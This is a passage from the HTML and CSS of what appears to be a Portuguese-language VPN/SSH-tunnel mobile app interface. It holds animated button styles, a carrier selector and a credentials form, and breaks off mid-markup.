display: flex;\n align-items: center;\n justify-content: center;\n gap: 5px;\n\n position: relative;\n bottom: 100px;\n \n \n z-index: 999;\n\n border: 0px;\n border-radius: 20px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n\n section.container-carrier-selector-button button svg {\n color: #ffffff;\n }\n\n section.container-carrier-selector-button button span {\n color: #ffffff;\n font-size: 12px;\n }\n\n section.container-button-start-stop-vpn {\n width: 100%;\n height: auto;\n\n display: flex;\n justify-content: center;\n align-items: center;\n\n margin: 0 0 0 0;\n }\n\n section.container-button-start-stop-vpn button {\n width: 100px;\n height: 100px;\n\n display: flex;\n align-items: center;\n justify-content: center;\n\n position: relative;\n\n border: 0;\n border-radius: 50%;\n\n background:radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n }\n\n section.container-button-start-stop-vpn button svg {\n width: 50%;\n height: 50%;\n\n color: #ffffff;\n }\n\n section.container-button-start-stop-vpn button::before,\n section.container-button-start-stop-vpn button::after {\n width: calc(100% + 25px);\n height: calc(100% + 25px);\n\n content: \"\";\n\n position: absolute;\n z-index: -1;\n\n border-radius: 50%;\n\n background: var(--default-background-color);\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n\n section.container-button-start-stop-vpn button::after {\n filter: blur(30px);\n }\n\n section.container-status-connection,\n section.container-version {\n width: 100%;\n height: auto;\n\n display: none;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n z-index: -1;\n\n margin: auto 0 auto 0;\n }\n section.container-local-ip {\n width: 100%;\n height: auto;\n\n display: none;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n z-index: 999;\n\n margin: auto 0 auto 0;\n }\n\n section.container-status-connection.active,\n section.container-version.active {\n display: flex;\n z-index: -1;\n }\n section.container-local-ip.active {\n display: flex;\n z-index: -1;\n }\n \n section.container-status-connection button,\n section.container-version button {\n padding: 2.5% 10%;\n z-index: -1;\n\n border: 0;\n border-radius: 60px;\n\n background: transparent;\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n section.container-local-ip button {\n padding: 2.5% 10%;\n z-index: 999;\n\n border: 0;\n border-radius: 60px;\n\n background: transparent;\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n \n section.container-status-connection button span,\n section.container-version button span {\n color: white;\n z-index: -1;\n \n }\n section.container-local-ip button span {\n color: white;\n z-index: 999;\n }\n \n\n @media only screen and (max-width: 375px) {\n section.container-button-start-stop-vpn button {\n width: 110px;\n height: 110px;\n }\n\n section.container-status-connection {\n margin-top: 10%;\n }\n }\n\n @media only screen and (max-width: 280px) {\n section.container-button-start-stop-vpn {\n margin-top: 15%;\n }\n\n section.container-button-start-stop-vpn button {\n width: 90px;\n height: 90px;\n }\n\n section.container-status-connection {\n margin-top: 20% !important;\n }\n }\n\n @media only screen and (max-width: 250px) {\n section.container-button-start-stop-vpn {\n margin-top: 5%;\n }\n\n section.container-button-start-stop-vpn button {\n width: 90px;\n height: 90px;\n }\n\n section.container-status-connection {\n margin-top: 10% !important;\n }\n }\n\n section.profile,\n section.carrier-list,\n section.container-tools,\n section.container-error {\n width: 100%;\n min-width: 100%;\n height: 100%;\n\n display: flex;\n flex-direction: column;\n gap: 10px;\n\n position: absolute;\n top: 0;\n left: 0;\n\n padding: var(--space-status-bar) 0 0 0;\n\n opacity: 0;\n\n transform: translateX(100%);\n transition: opacity 0.3s ease, transform 0.3s ease;\n }\n\n section.carrier-list {\n height: 97%;\n }\n\n section.container-tools {\n gap: 1px;\n }\n\n section.loading,\n section.checkuser,\n section.clean-data-app,\n section.hotspot-container,\n section.terms-container,\n section.logs-container,\n section.renew-alert {\n width: 100%;\n min-width: 100%;\n height: 100%;\n\n display: flex;\n justify-content: center;\n align-items: center;\n\n position: absolute;\n top: 0;\n left: 0;\n z-index: 99;\n\n padding-top: 15%;\n\n background: rgba(0, 0, 0, 0.3);\n\n opacity: 0;\n transform: scale(0);\n transform-origin: center;\n\n transition: opacity 0.3s ease, transform 0.3s ease;\n }\n\n section.hotspot-container {\n padding-top: 0;\n }\n\n section.loading.active,\n section.checkuser.active,\n section.clean-data-app.active,\n section.hotspot-container.active,\n section.terms-container.active,\n section.logs-container.active,\n section.renew-alert.active {\n opacity: 1;\n transform: scale(1);\n }\n\n section.loading section,\n section.checkuser section,\n section.clean-data-app section,\n section.hotspot-container section,\n section.terms-container section,\n section.logs-container section,\n section.renew-alert section {\n width: 80%;\n height: auto;\n min-height: 50%;\n\n display: flex;\n flex-direction: column;\n align-items: center;\n\n border-radius: 10px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n opacity: 0.4 \n\n overflow: hidden;\n }\n\n section.renew-alert section {\n position: relative;\n\n overflow: initial;\n }\n\n section.renew-alert.active section::before,\n section.renew-alert.active section::after {\n width: calc(100% + 2px);\n height: calc(100% + 2px);\n\n content: \"\";\n position: absolute;\n left: -1px;\n right: 0;\n bottom: -1px;\n z-index: -1;\n\n border-radius: 10px;\n\n background: transparent;\n background-size: 300%;\n animation: 4s infinite alternate-reverse ButtonStartVpnAnimation;\n }\n\n section.renew-alert section::after {\n filter: blur(7px);\n }\n\n section.logs-container section {\n width: 90%;\n min-height: 0;\n\n margin-top: 25%;\n padding-bottom: 0.8rem;\n }\n\n section.renew-alert section {\n width: 90%;\n\n padding-bottom: 1rem;\n }\n\n section.loading section header,\n section.checkuser section header,\n section.clean-data-app section header,\n section.hotspot-container section header,\n section.terms-container section header,\n section.logs-container section header,\n section.renew-alert section header {\n width: 100%;\n height: auto;\n\n display: flex;\n align-items: center;\n justify-content: center;\n\n position: relative;\n\n padding: 4% 2% 4% 2%;\n\n border-bottom: 2px solid #03142d;\n }\n\n section.loading section header h1,\n section.checkuser section header h1,\n section.clean-data-app section header h1,\n section.hotspot-container section header h1,\n section.terms-container section header h1,\n section.logs-container section header h1,\n section.renew-alert section header h1 {\n margin-left: auto;\n\n color: #ffffff;\n font-size: 0.8rem;\n }\n\n @media (max-width: 280px) {\n section.clean-data-app section header h1 {\n font-size: 0.7rem;\n }\n }\n\n section.loading section header svg,\n section.checkuser section header svg,\n section.clean-data-app section header svg,\n section.hotspot-container section header svg,\n section.terms-container section header svg,\n section.logs-container section header svg,\n section.renew-alert section header svg {\n margin-left: auto;\n\n color: #ffffff;\n }\n\n section.terms-container section p {\n width: 95%;\n height: auto;\n max-height: 350px;\n\n padding: 5% 0;\n\n color: #ffffff;\n text-align: center;\n\n overflow: auto;\n }\n\n section.loading section div.loading {\n width: 150px;\n height: 150px;\n\n margin-top: auto;\n margin-bottom: auto;\n\n border-top: 4px solid #ffffff;\n border-right: 4px solid #ffffff;\n border-bottom: 4px solid #ffffff;\n border-left: 4px solid transparent;\n border-radius: 50%;\n\n background-color: red;\n\n animation: spin 1s linear infinite;\n }\n\n section.checkuser section section {\n width: 100%;\n height: auto;\n min-height: 100%;\n\n display: flex;\n align-items: center;\n justify-content: center;\n\n margin: auto 0 auto 0;\n padding: 3% 0;\n\n border-radius: 0;\n }\n\n section.checkuser section section div:first-child {\n margin: 0;\n }\n\n section.checkuser section section div {\n width: 90%;\n height: auto;\n\n display: flex;\n align-items: center;\n gap: 10px;\n\n margin: 5% 0 0 0;\n padding: 3% 3%;\n\n border-radius: 10px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n\n section.checkuser section section div svg,\n section.checkuser section section div span {\n color: #ffffff;\n }\n\n section.checkuser section section div span {\n font-size: 0.8rem;\n }\n\n section.clean-data-app section section,\n section.hotspot-container section section {\n width: 100%;\n height: auto;\n min-height: 100%;\n\n display: flex;\n align-items: center;\n justify-content: center;\n\n margin: auto 0 auto 0;\n padding: 8% 0;\n\n border-radius: 0;\n }\n\n section.clean-data-app section section svg,\n section.hotspot-container section section svg {\n width: 30%;\n height: auto;\n\n color: #ffff00;\n font-size: 8rem;\n }\n\n section.hotspot-container section section svg {\n width: 20%;\n height: auto;\n\n color: #ffffff;\n }\n\n section.clean-data-app section section h1,\n section.hotspot-container section section h1 {\n color: #ffffff;\n font-size: 1rem;\n }\n\n section.clean-data-app section section p,\n section.hotspot-container section section p {\n margin: 5% 0 8% 0;\n padding: 0 3%;\n\n color: #ffffff;\n text-align: center;\n font-family: Arial, sans-serif;\n }\n\n section.hotspot-container section section p {\n width: 100%;\n height: 10%;\n max-height: 300px;\n\n overflow: auto;\n }\n\n section.clean-data-app section section button,\n section.hotspot-container section section button {\n display: flex;\n align-items: center;\n justify-content: center;\n\n padding: 4% 10%;\n\n border: 0;\n border-radius: 60px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n }\n\n section.clean-data-app section section button span,\n section.hotspot-container section section button span {\n color: #ffffff;\n }\n\n section.renew-alert section section {\n max-height: 250px;\n\n margin: auto 0 auto 0;\n border-radius: 0;\n\n overflow: auto;\n\n &>p {\n overflow: hidden;\n color: #FFFFFF;\n text-align: center;\n\n &>bold {\n font-weight: bold;\n }\n\n &>italic {\n font-style: italic;\n text-decoration: underline;\n }\n }\n }\n\n section.logs-container section section {\n width: 100%;\n height: auto;\n max-height: 250px;\n\n padding: 0.4rem 0.4rem 0rem 0.4rem;\n margin: 0.4rem 0 0.8rem 0;\n\n border-radius: 0;\n\n overflow: auto;\n scrollbar-width: none;\n -ms-overflow-style: none;\n\n ::-webkit-scrollbar {\n display: none;\n }\n\n ::-webkit-scrollbar-thumb {\n background: blue;\n opacity: 0.8; \n }\n\n &>p {\n width: 100%;\n height: auto;\n\n color: #FFFFFF;\n font-size: 0.8rem;\n }\n }\n\n section.logs-container section button {\n width: auto;\n height: auto;\n\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 8px;\n\n margin: auto 0 0 0;\n padding: 3% 7%;\n\n position: relative;\n\n border: 0px;\n border-radius: 20px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n background-size: 300%;\n\n animation: 8s infinite ButtonStartVpnAnimation;\n\n &>svg {\n color: #FFFFFF;\n }\n\n &>span {\n color: #FFFFFF;\n }\n }\n\n section.profile header,\n section.carrier-list header,\n section.container-tools header,\n section.container-error header {\n width: 100%;\n height: 10%;\n\n display: flex;\n justify-content: center;\n align-items: center;\n\n position: relative;\n\n padding: 0 20px 0 20px;\n\n background: black;\n }\n\n section.profile header::before,\n section.profile header::after,\n section.carrier-list header::before,\n section.carrier-list header::after,\n section.container-tools header::before,\n section.container-tools header::after,\n section.container-error header::before,\n section.container-error header::after {\n width: calc(100% + 2px);\n height: calc(100% + 2px);\n\n content: \"\";\n\n position: absolute;\n z-index: -1;\n\n background: radial-gradient(circle,\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5),\n rgba(118, 252, 252, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5));\n background-size: 300%;\n\n\n animation: 15s infinite ButtonStartVpnAnimation;\n }\n\n section.profile header::after,\n section.carrier-list header::after,\n section.container-tools header::after,\n section.container-error header::after {\n filter: blur(5px);\n }\n\n section.profile header svg,\n section.carrier-list header svg,\n section.container-tools header svg,\n section.container-error header svg {\n width: 20px;\n height: 20px;\n\n margin: 0 auto 0 0;\n\n fill: url(#grad);\n }\n\n section.profile header h1,\n section.carrier-list header h1,\n section.container-tools header h1,\n section.container-error header h1 {\n margin: 0 auto 0 0;\n\n color: #ffffff;\n font-size: 0.9rem;\n }\n\n section.profile form {\n width: 100%;\n height: auto;\n\n padding: 0px 10px;\n\n display: flex;\n flex-direction: column;\n }\n\n section.profile form fieldset {\n width: 100%;\n height: auto;\n\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n\n position: relative;\n\n margin: 0% 0px;\n padding: 5px 10px;\n\n border: 0px solid #00ff00;\n border-radius: 5px;\n\n background: black;\n }\n\n section.profile form fieldset::before,\n section.profile form fieldset::after {\n width: calc(100% + 2px);\n height: calc(100% + 17px);\n\n content: \"\";\n\n position: absolute;\n top: -16px;\n right: 0;\n bottom: 0;\n left: -1px;\n z-index: -1;\n\n border-radius: 5px;\n\n background: radial-gradient(circle,\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5),\n rgba(118, 252, 252, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5));\nbackground-size: 300%;\n\n\n animation: 20s infinite ButtonStartVpnAnimation;\n }\n\n section.profile form fieldset::after {\n filter: blur(3px);\n }\n\n section.profile form fieldset legend {\n padding: 0px 7px 0px 5px;\n background: black;\n }\n\n section.profile form fieldset legend svg {\n width: auto;\n height: 1.563rem;\n\n fill: url(#grad);\n }\n\n section.profile form fieldset p {\n color: #ffffff;\n font-size: 1rem;\n font-style: italic;\n }\n\n section.profile form fieldset:nth-child(2) {\n margin-top: 5%;\n\n padding: 0px 10px 20px 10px;\n }\n\n section.profile form fieldset:nth-child(2)::after,\n section.profile form fieldset:nth-child(2)::before {\n height: calc(100% + 15px);\n top: -14px;\n }\n\n section.profile form fieldset:nth-child(2) legend {\n color: #ffffff;\n }\n\n section.profile form fieldset:nth-child(2) label {\n margin-right: auto;\n color: #ffffff;\n }\n\n section.profile form fieldset:nth-child(2) label.hidden {\n display: none;\n }\n\n section.profile form fieldset:nth-child(2) div {\n width: 100%;\n height: 40px;\n\n display: flex;\n align-items: center;\n\n margin: 0 0 0 auto;\n\n border: 1px solid #ffffff;\n border-radius: 5px;\n\n overflow: hidden;\n }\n\n section.profile form fieldset:nth-child(2) div.hidden {\n display: none;\n }\n\n section.profile form fieldset:nth-child(2) div svg {\n width: 15%;\n max-width: 40px;\n height: 100%;\n max-height: 40px;\n\n padding: 3%;\n\n color: #ffffff;\n }\n\n section.profile form fieldset:nth-child(2) div svg.hidden {\n display: none;\n }\n\n section.profile form fieldset:nth-child(2) div input {\n width: 100%;\n height: 100%;\n\n padding: 0px 5px;\n\n border: 0px;\n border-left: 1px solid #ffffff;\n outline: none;\n\n color: #ffffff;\n\n background: black;\n }\n\n section.profile form fieldset:nth-child(2) label[for=\"passworddiv\"] {\n margin-top: 4%;\n }\n\n section.profile form fieldset:nth-child(2) label[for=\"uuiddiv\"] {\n margin-top: 4%;\n }\n\n section.profile form fieldset:nth-child(2) button {\n width: 80%;\n min-width: 200px;\n height: 20%;\n min-height: 30px;\n\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 10px;\n\n margin: 6% auto 0px auto;\n\n border: 0px;\n border-radius: 20px;\n\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n background-size: 300%;\n\n animation: 5s infinite ButtonStartVpnAnimation;\n }\n\n section.profile form fieldset:nth-child(2) button svg {\n color: #ffffff;\n\n filter: drop-shadow(1px 1px 2px rgba(0, 0, 255, 0.4));\n }\n\n section.profile form fieldset:nth-child(2) button span {\n color: #ffffff;\n font-family: Arial, sans-serif;\n font-weight: 500;\n\n text-shadow: 1px 1px 2px rgba(0, 0, 255, 0.4);\n }\n\n section.carrier-list section {\n width: 100%;\n height: 90%;\n opacity: 0.8;\n\n overflow-y: auto;\n }\n\n section.carrier-list section div:first-child {\n margin: 0;\n }\n\n section.carrier-list section div {\n width: 100%;\n height: auto;\n\n display: flex;\n flex-direction: column;\n }\n\n section.carrier-list section div h1 {\n width: 100%;\n height: 50px;\n\n display: flex;\n align-items: center;\n\n padding: 0px 3%;\n\n color: #ffffff;\n font-size: 0.9rem;\n\n background: black;\n }\n\n section.carrier-list section div ul {\n width: 100%;\n height: auto;\n list-style: none;\n }\n\n section.carrier-list section div ul li {\n width: 100%;\n height: 60px;\n\n display: flex;\n align-items: center;\n gap: 5px;\n\n position: relative;\n\n margin: 1% 0;\n padding: 0 2%;\n\n background: #07214b;\n\n color: #ffffff;\n\n /*overflow: hidden; */\n /* REMOVER CASO QUEIRA A BORDA ANIMADA E COLORIDA */\n }\n\n section.carrier-list section div ul li::before,\n section.carrier-list section div ul li::after {\n width: 100%;\n height: calc(100% + 2px);\n\n content: \"\";\n\n position: absolute;\n top: 0;\n left: 0;\n z-index: -1;\n\n background: radial-gradient(circle,\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5),\n rgba(118, 252, 252, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5));\nbackground-size: 300%;\n\n\n animation: 15s infinite ButtonStartVpnAnimation;\n }\n\n section.carrier-list section div ul li img {\n width: 30px;\n }\n\n section.carrier-list section div ul li span {\n width: calc(100% - 30px);\n\n white-space: nowrap;\n overflow: auto;\n }\n\n section.carrier-list section div ul li svg {\n width: 30px;\n\n display: none;\n }\n\n section.carrier-list section div ul li.active svg {\n display: block;\n }\n\n section.container-tools section {\n width: 100%;\n height: 89%;\n \n\n display: flex;\n flex-direction: column;\n gap: 10px;\n\n margin: 0 auto 0 auto;\n padding: 2% 0 0 0;\n\n background: black;\n opacity: 0.8;\n z-index: 999;\n\n overflow: auto;\n }\n\n section.container-tools section button {\n width: 100%;\n height: auto;\n\n display: flex;\n align-items: center;\n gap: 5px;\n\n padding: 10px;\n\n border: 0px solid transparent;\n border-bottom: 1px solid #ddd;\n\n background: transparent;\n }\n\n section.container-tools section button svg:first-child {\n width: 20px;\n height: 100%;\n\n margin: 0 10px 0 0;\n\n color: #ffffff;\n }\n\n section.container-tools section button div {\n max-width: 83%;\n height: auto;\n\n display: flex;\n flex-direction: column;\n align-items: flex-start;\n gap: 5px;\n }\n\n section.container-tools section button div h3 {\n color: #ffffff;\n }\n\n section.container-tools section button div p {\n color: #ffffff;\n text-align: left;\n }\n\n section.container-tools section button svg:last-child {\n width: 16px;\n height: 100%;\n\n margin: 0 0 0 auto;\n\n color: #ffffff;\n }\n\n section.container-error section {\n width: 100%;\n height: 85%;\n\n display: flex;\n flex-direction: column;\n align-items: center;\n }\n\n section.container-error section h1 {\n margin: 1% 0 0 0;\n color: #ffffff;\n font-size: 0.9rem;\n }\n\n section.container-error section p {\n margin: 3% 0 0 0;\n padding: 0 3%;\n\n color: #ffffff;\n text-align: center;\n font-size: 0.8rem;\n font-family: Arial, sans-serif;\n overflow: auto;\n }\n\n section.active {\n opacity: 1;\n transform: translateX(0%);\n }\n\n \n section.container-menu button {\n flex: 1;\n width: 60px;\n height: 50%;\n\n display: flex;\n flex-direction: column;\n justify-content: center;\n align-items: center;\n gap: 8px;\n\n position: relative;\n z-index: 5;\n\n border: 0px;\n\n background: blue;\n }\n\n section.container-menu button:nth-child(2) {\n margin-right: 10px;\n }\n\n section.container-menu button:nth-child(3) {\n margin-right: 10px;\n }\n\n section.container-menu button:last-child {\n margin-right: 5px;\n }\n\n section.container-menu button svg {\n color: #ffffff;\n }\n\n section.container-menu button span {\n color: #ffffff;\n text-transform: uppercase;\n font-size: 0.7rem;\n }\n\n section.container-toast {\n width: 100%;\n height: auto;\n\n display: flex;\n justify-content: center;\n align-items: center;\n\n position: absolute;\n left: 0;\n bottom: 2.5%;\n right: 0;\n z-index: 99999999;\n\n padding: 10px 10px;\n\n transform: scale(0);\n }\n\n section.container-toast div.toast {\n width: auto;\n height: auto;\n\n display: flex;\n align-items: center;\n\n position: relative;\n\n padding: 0px 5px 0px 0px;\n\n border: 1px solid red;\n border-radius: 10px;\n\n background: #152039;\n }\n\n section.container-toast div.toast::before,\n section.container-toast div.toast::after {\n width: calc(100% + 10px);\n height: calc(100% + 10px);\n\n content: \"\";\n\n position: absolute;\n top: -5px;\n left: -5px;\n z-index: -1;\n\n border-radius: 10px;\n\n background: radial-gradient(circle,\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5),\n rgba(118, 252, 252, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(159, 47, 255, 0.5),\n rgba(11, 177, 211, 0.5),\n rgba(127, 71, 203, 0.5),\n rgba(0, 255, 255, 0.5),\n rgba(122, 44, 236, 0.5),\n rgba(74, 223, 223, 0.5));\nbackground-size: 300%;\n\n\n animation: 15s infinite ButtonStartVpnAnimation;\n }\n\n section.container-toast div.toast::after {\n filter: blur(5px);\n }\n\n section.container-toast div.toast.error {\n border: 1px solid #ff0000;\n }\n\n section.container-toast div.toast div.icon {\n width: auto;\n height: 100%;\n\n display: flex;\n justify-content: center;\n align-items: center;\n\n padding: 5px 4px 5px 7px;\n\n border-top-left-radius: 10px;\n border-bottom-left-radius: 10px;\n\n overflow: hidden;\n\n background: #152039;\n }\n\n section.container-toast div.toast.error div.icon {\n border-right: 1px solid #ff0000;\n }\n\n section.container-toast div.toast div.icon img {\n width: auto;\n height: 100%;\n min-height: 30px;\n }\n\n section.container-toast div.toast span {\n margin-left: 5px;\n\n color: #ffffff;\n font-family: Arial, sans-serif;\n font-size: 0.8rem;\n font-weight: 300;\n }\n\n @media (max-width: 280px) {\n section.container-menu button {\n flex: 1;\n width: 60px;\n max-width: 60px;\n height: 50%;\n\n display: flex;\n flex-direction: column;\n justify-content: center;\n align-items: center;\n gap: 8px;\n\n position: relative;\n z-index: 5;\n\n border: 0px;\n\n background: transparent;\n }\n\n section.container-menu button:last-child {\n margin-right: 10px;\n }\n\n section.container-menu button span {\n font-size: 0.5rem;\n }\n }\n\n @media only screen and (max-width: 576px) {\n section.container-menu button {\n flex: 1;\n width: 60px;\n max-width: 60px;\n height: 50%;\n\n display: flex;\n flex-direction: column;\n justify-content: center;\n align-items: center;\n gap: 8px;\n\n position: relative;\n z-index: 5;\n\n border: 0px;\n\n background: transparent; //aqui\n }\n\n section.container-menu button:last-child {\n margin-right: 10px;\n }\n\n section.container-menu button span {\n font-size: 0.5rem;\n }\n }\n\n .spaceInDown {\n -webkit-animation-name: spaceInDown;\n animation-name: spaceInDown;\n }\n\n @-webkit-keyframes spaceInDown {\n 0% {\n opacity: 0;\n transform-origin: 50% 100%;\n transform: scale(0.2) translate(0%, 200%);\n }\n\n 100% {\n opacity: 1;\n transform-origin: 50% 100%;\n transform: scale(1) translate(0%, 0%);\n }\n }\n\n @keyframes spaceInDown {\n 0% {\n opacity: 0;\n transform-origin: 50% 100%;\n transform: scale(0.2) translate(0%, 200%);\n }\n\n 100% {\n opacity: 1;\n transform-origin: 50% 100%;\n transform: scale(1) translate(0%, 0%);\n }\n }\n\n .spaceOutDown {\n -webkit-animation-name: spaceOutDown;\n animation-name: spaceOutDown;\n }\n\n @-webkit-keyframes spaceOutDown {\n 0% {\n opacity: 1;\n transform-origin: 50% 100%;\n transform: scale(1) translate(0%, 0%);\n }\n\n 100% {\n opacity: 0;\n transform-origin: 50% 100%;\n transform: scale(0.2) translate(0%, 200%);\n }\n }\n\n @keyframes spaceOutDown {\n 0% {\n opacity: 1;\n transform-origin: 50% 100%;\n transform: scale(1) translate(0%, 0%);\n }\n\n 100% {\n opacity: 0;\n transform-origin: 50% 100%;\n transform: scale(0.2) translate(0%, 200%);\n }\n }\n\n .masterSshAnimatedTime {\n -webkit-animation-duration: 1s;\n animation-duration: 1s;\n -webkit-animation-fill-mode: both;\n animation-fill-mode: both;\n }\n\n @media (print),\n (prefers-reduced-motion) {\n .masterSshAnimatedTime {\n -webkit-animation: unset !important;\n animation: unset !important;\n transition: none !important;\n }\n }\n </style>\n</head>\n\n<body>\n <main>\n <section class=\"home active\">\n \n <div class=\"gif-container\">\n <img id=\"gif-image\" src=\"https://i.gifer.com/6ka.gif\" alt=\"\">\n</div>\n \n\n\n\n\n\n\n<section class=\"container-local-ip active\" style=\"margin-top: 100px;\">\n <button type=\"button\">\n <span id=\"local-ip-value\">Localizando IP...</span>\n </button>\n</section>\n\n\n \n <section class=\"container-button-start-stop-vpn\">\n <button type=\"button\" title=\"Iniciar ou Parar conexão VPN\" id=\"start-stop-vpn-button\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-power\"\n viewBox=\"0 0 16 16\">\n <path d=\"M7.5 1v7h1V1h-1z\" />\n <path\n d=\"M3 8.812a4.999 4.999 0 0 1 2.578-4.375l-.485-.874A6 6 0 1 0 11 3.616l-.501.865A5 5 0 1 1 3 8.812z\" />\n </svg>\n </button>\n </section>\n \n \n \n <section class=\"container-status-connection active\">\n <button type=\"button\">\n <span id=\"state-value\">LBL_STATE_DISCONNECTED</span>\n </button>\n </section>\n \n <section class=\"container-carrier-selector-button\">\n <button type=\"button\" id=\"carrier-list-button\">\n <span id=\"value-of-carrier-list-button\">SELECIONE UMA CONFIGURAÇÃO</span>\n </button>\n </section>\n\n \n\n \n </section>\n\n <section class=\"carrier-list\">\n <header>\n <svg id=\"back-carrier-container\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-arrow-return-left\" viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M14.5 1.5a.5.5 0 0 1 .5.5v4.8a2.5 2.5 0 0 1-2.5 2.5H2.707l3.347 3.346a.5.5 0 0 1-.708.708l-4.2-4.2a.5.5 0 0 1 0-.708l4-4a.5.5 0 1 1 .708.708L2.707 8.3H12.5A1.5 1.5 0 0 0 14 6.8V2a.5.5 0 0 1 .5-.5z\" />\n </svg>\n\n <h1>SELECIONE UMA OPÇÃO</h1>\n </header>\n\n <section></section>\n </section>\n\n <section class=\"profile\">\n <header>\n <svg id=\"back-profile-container\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-arrow-return-left\" viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M14.5 1.5a.5.5 0 0 1 .5.5v4.8a2.5 2.5 0 0 1-2.5 2.5H2.707l3.347 3.346a.5.5 0 0 1-.708.708l-4.2-4.2a.5.5 0 0 1 0-.708l4-4a.5.5 0 1 1 .708.708L2.707 8.3H12.5A1.5 1.5 0 0 0 14 6.8V2a.5.5 0 0 1 .5-.5z\" />\n </svg>\n\n <h1>PERFIL</h1>\n </header>\n\n <form>\n <fieldset>\n <legend>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-person-exclamation\" viewBox=\"0 0 16 16\">\n <path\n d=\"M11 5a3 3 0 1 1-6 0 3 3 0 0 1 6 0ZM8 7a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm.256 7a4.474 4.474 0 0 1-.229-1.004H3c.001-.246.154-.986.832-1.664C4.484 10.68 5.711 10 8 10c.26 0 .507.009.74.025.226-.341.496-.65.804-.918C9.077 9.038 8.564 9 8 9c-5 0-6 3-6 4s1 1 1 1h5.256Z\" />\n <path\n d=\"M16 12.5a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0Zm-3.5-2a.5.5 0 0 0-.5.5v1.5a.5.5 0 0 0 1 0V11a.5.5 0 0 0-.5-.5Zm0 4a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z\" />\n </svg>\n </legend>\n\n <p>\n Insira suas credenciais nos campos abaixo e clique no botão\n \"Salvar credenciais\". Isso o levará de volta à página inicial do\n aplicativo, onde você poderá se conectar e desfrutar da conexão.\n </p>\n </fieldset>\n\n <fieldset>\n <legend>Informe suas credenciais</legend>\n\n <label for=\"usernamediv\">Nome de usuário</label>\n\n <div id=\"usernamediv\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-person\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M8 8a3 3 0 1 0 0-6 3 3 0 0 0 0 6Zm2-3a2 2 0 1 1-4 0 2 2 0 0 1 4 0Zm4 8c0 1-1 1-1 1H3s-1 0-1-1 1-4 6-4 6 3 6 4Zm-1-.004c-.001-.246-.154-.986-.832-1.664C11.516 10.68 10.289 10 8 10c-2.29 0-3.516.68-4.168 1.332-.678.678-.83 1.418-.832 1.664h10Z\" />\n </svg>\n\n <input id=\"username\" type=\"text\" name=\"username\" placeholder=\"Usuário\" value=\"aguia\" />\n </div>\n\n <label for=\"passworddiv\">Senha</label>\n\n <div id=\"passworddiv\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"32\" height=\"32\" fill=\"currentColor\" class=\"bi bi-key\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M0 8a4 4 0 0 1 7.465-2H14a.5.5 0 0 1 .354.146l1.5 1.5a.5.5 0 0 1 0 